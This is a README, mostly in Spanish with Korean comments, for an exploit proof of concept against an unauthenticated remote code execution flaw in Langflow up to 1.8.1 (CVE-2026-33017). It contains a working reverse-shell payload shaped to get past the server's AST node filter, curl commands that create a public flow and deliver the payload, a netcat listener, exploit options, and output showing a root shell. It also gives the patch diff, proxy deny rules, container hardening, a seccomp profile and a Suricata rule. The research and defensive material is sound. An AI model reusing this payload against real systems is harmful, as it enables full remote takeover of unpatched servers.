
Exploit PoC para un RCE no autenticado en Langflow <=1.8.1, que incluye análisis de causa raíz a nivel de código fuente, payload de reverse shell consciente del AST, laboratorio Docker, diff del parche y reglas de detección.
Aviso legal
Este repositorio se ha creado con fines de investigación y educación en seguridad.
Úselo únicamente en entornos de laboratorio aislados.
Su uso en sistemas no autorizados constituye una infracción de la ley de redes de información y comunicaciones y está sujeto a sanciones penales.
| Campo | Descripción |
|---|---|
| CVE ID | CVE-2026-33017 |
| Software vulnerable | Langflow (constructor de flujos de trabajo de IA) |
| Versiones afectadas | Langflow ≤ 1.8.1 |
| Versión corregida | Langflow ≥ 1.9.0 |
| Tipo de vulnerabilidad | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | Incluida |
POST /api/v1/build_public_tmp/{flow_id}/flow
Es un endpoint destinado a la construcción de flujos públicos (Public flow), diseñado para ser accesible sin autenticación.
Ruta de ejecución confirmada mediante el rastreo directo del código fuente:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← 클라이언트 입력 그대로 수신 (취약점)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← 클라이언트 data 그대로 전달
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← 임의 코드 실행
La función prepare_global_scope() no ejecuta todas las sentencias del código enviado.
Tras el análisis AST, solo ejecuta tipos de nodo específicos:
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨
exec(compiled_code, exec_globals) # definitions만 실행
Tipos de nodo AST ejecutables:
Conclusión: el payload debe escribirse obligatoriamente como una asignación
Assign(_r = ...) para que se ejecute.
Una simple llamada a función (os.system("id")) se clasifica como nodoExpry queda eliminada por el filtro.
Durante las pruebas se intentaron varios enfoques de payload y se identificó la causa de cada fallo a nivel de código fuente.
subprocess.Popen + wait() (fallido)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← 여기서 블로킹
Causa del fallo: el hilo de trabajo (worker) de Langflow supervisa el valor de retorno del componente y,
al agotarse el tiempo de espera, cierra el socket a la fuerza. El bloqueo de _proc.wait() pierde todo sentido.
os.execve() (fallido)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
Causa del fallo: según las reglas POSIX, al invocar execve() en un proceso multihilo finalizan
todos los hilos excepto el que realiza la llamada → bloqueo completo del worker de uvicorn → HTTP 500.
os.fork() + execve() (fallido)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
Causa del fallo: uvicorn detecta que el proceso hijo ha terminado de forma anómala y reinicia el worker → HTTP 500.
threading.Thread(daemon=True) (fallido)threading.Thread(target=_shell, daemon=True).start()
Causa del fallo: los hilos con daemon=True se destruyen junto con el hilo principal (worker de Langflow). El hilo muere antes de que se complete la llamada a connect().
threading.Thread(daemon=False) + Assign# FunctionDef → 실행됨
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
Motivo de elegir daemon=False:
daemon=True → se destruye al terminar el hilo worker de Langflowdaemon=False → ciclo de vida independiente del worker → permite mantener la conexión del socketCVE-2026-33017/
├── README.md
├── Dockerfile # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py # 리버스 쉘 PoC
└── poc.py # Blind RCE / 취약점 존재 확인
# 1. 컨테이너 빌드 및 기동
docker compose up --build
# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!
# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (피해자) │
│ langflow-attacker 172.19.0.3 (공격자) │
└──────────────────────────────────────────────────┘
Ejecutar dentro del contenedor del atacante:
docker exec -it langflow-attacker bash
# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
Opciones:
Salida esperada:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백 : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답 : 200
[+] 쉘 연결됨 ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
Úselo solo para comprobar si la vulnerabilidad está presente:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. nc 리스너 (터미널 1)
nc -lvnp 4444
# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
langflow/api/v1/chat.py:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: FlowDataRequest | None = None, # ← 클라이언트 입력 수신
...
):
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # ← 클라이언트 data 그대로 빌드 파이프라인에 전달
...
)
langflow/api/v1/chat.py (verificado directamente en el código fuente):
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
# data 파라미터 시그니처에서 완전 제거
...
):
"""
Security Note:
- The 'data' parameter is NOT accepted to prevent flow definition tampering
- Public flows must execute the stored flow definition only
- The flow definition is always loaded from the database
"""
job_id = await start_flow_build(
flow_id=new_flow_id,
data=None, # ← 하드코딩 None, 클라이언트 입력 완전 차단
source_flow_id=flow_id, # ← DB에서만 플로우 정의 로드
...
)
Motivo por el que es correcto el diseño que elimina el parámetro por completo en lugar de una mera validación de la entrada:
취약한 설계: 클라이언트 입력 → 검증 → 실행 (검증 우회 가능성 존재)
패치 설계: 클라이언트 입력 → 완전 무시
DB 저장 플로우만 → 실행 (공격 경로 자체 제거)
pip install langflow==1.9.1
Ubicación del archivo: nginx.conf (nuevo)
server {
listen 80;
# CVE-2026-33017 취약 엔드포인트 차단
location ~ ^/api/v1/build_public_tmp/ {
deny all;
return 403;
}
location / {
proxy_pass http://langflow:7860;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Nota: también debe bloquearse la exposición directa del puerto 7860 de Langflow a Internet para que la medida sea efectiva.
Ubicación del archivo:
/etc/apache2/sites-available/langflow.conf/etc/httpd/conf.d/langflow.conf<Location "/api/v1/build_public_tmp/">
Require all denied
</Location>
Si no hay flujos públicos, el endpoint devuelve 404 y el ataque no es posible.
Como política operativa, prohíba la creación de flujos públicos o cambie los flujos existentes a PRIVATE.
En un entorno EC2:
인바운드 규칙:
포트 7860 → 허가된 IP만 허용 (0.0.0.0/0 제거)
Aunque el RCE tenga éxito, bloquee el callback externo:
# langflow 컨테이너 아웃바운드 차단
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP
O en docker-compose.yml:
langflow-vuln-lab:
sysctls:
- net.ipv4.ip_forward=0
langflow-vuln-lab:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000"
read_only: true
tmpfs:
- /tmp
Bloquee syscalls peligrosas con un perfil seccomp (langflow-seccomp.json):
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket", "connect", "fork", "execve"],
"action": "SCMP_ACT_ERRNO"
}
]
}
security_opt:
- seccomp:./langflow-seccomp.json
Petición HTTP sospechosa:
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
Patrones de registro (logs) del servidor Langflow:
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error] Exception in worker process
alert http any any -> any 7860 (
msg:"CVE-2026-33017 Langflow RCE Attempt";
flow:established,to_server;
content:"POST"; http_method;
content:"/build_public_tmp/"; http_uri;
content:"CustomComponent"; http_client_body;
classtype:web-application-attack;
sid:2026033017; rev:1;
)
Este repositorio no se limita a la ejecución de un PoC: mediante análisis a nivel de código fuente, ha identificado además lo siguiente:
Descubrimiento del filtrado de nodos AST
Se confirmó mediante análisis del código fuente que prepare_global_scope() de lfx/custom/validate.py ignora los nodos Expr. Esto permite explicar por qué el payload de simple llamada a función de los PoC públicos existentes falla en este entorno.
Análisis de las causas de fallo del payload
Se analizaron las causas de fallo de cuatro enfoques — Popen+wait(), execve(), fork()+execve() y hilos con daemon=True — desde la perspectiva de la arquitectura multihilo de uvicorn y de las reglas POSIX.
Verificación directa del código del parche
Se confirmó a nivel de código fuente el valor fijo data=None y la eliminación del parámetro en chat.py de la versión 1.9.1, y se analizó la intención del diseño del parche.
| Tipo de nodo AST | Ejemplo | ¿Se ejecuta? |
|---|
FunctionDef | def _shell(): ... | ✅ Sí |
ClassDef | class ExploitComponent(Component) | ✅ Sí |
Assign | _r = os.system("id") | ✅ Sí |
AnnAssign | _r: int = os.system("id") | ✅ Sí |
Expr | os.system("id") (llamada independiente) | ❌ Se ignora |
| Opción | Descripción | Valor por defecto |
|---|
--url | URL de Langflow objetivo | Obligatorio |
--lhost | IP de callback del reverse shell | Obligatorio |
--lport | Puerto de callback del reverse shell | Obligatorio |
--flow-id | UUID del flujo público (se genera automáticamente si se omite) | Automático |
--user | ID de administrador | admin |
--password | Contraseña de administrador | admin123! |
--no-listen | Desactiva el listener integrado (al usar un nc externo) | False |
--timeout | Tiempo de espera HTTP (segundos) | 30 |
| Aspecto | exploit.py | poc.py |
|---|
| Objetivo | Obtener un reverse shell | Confirmar la existencia de la vulnerabilidad (Blind RCE) |
| Verificación del resultado | Directamente en la terminal del atacante | Registros del servidor / OOB |
| Listener | Incluido | Innecesario |
| Múltiples objetivos | No compatible | Compatible (--url-file) |
| Uso en laboratorio | Demostrar el impacto | Demostrar la existencia de la vulnerabilidad |
| Aspecto | 1.8.1 (vulnerable) | 1.9.1 (parcheado) |
|---|
Recepción del parámetro data | ✅ Se recibe | ❌ Eliminado de la firma |
| Ejecución de definiciones de nodo del cliente | ✅ Posible | ❌ Imposible |
| Origen de la definición del flujo | Cuerpo de la petición del cliente | Solo el valor almacenado en la BD |
| RCE sin autenticación | ✅ Exitoso | ❌ Bloqueado |
| Respuesta HTTP | 200 + shell conectado | 200 (build vacío, sin nodos) |
| Medida | Tipo | Efecto |
|---|
| Actualizar a 1.9.1 | Solución definitiva | Eliminación del parámetro data |
| Bloqueo en Nginx/Apache | Bloqueo de acceso | Bloqueo de la ruta de ataque |
| No usar flujos públicos | Bloqueo de acceso | El endpoint devuelve 404 |
| Grupo de seguridad de AWS | Bloqueo de red | Bloqueo del acceso externo en origen |
| Bloqueo de tráfico saliente | Bloqueo posterior | Bloqueo del callback del reverse shell |
| Endurecimiento del contenedor | Minimización del impacto | Bloqueo de escalada de privilegios/syscalls |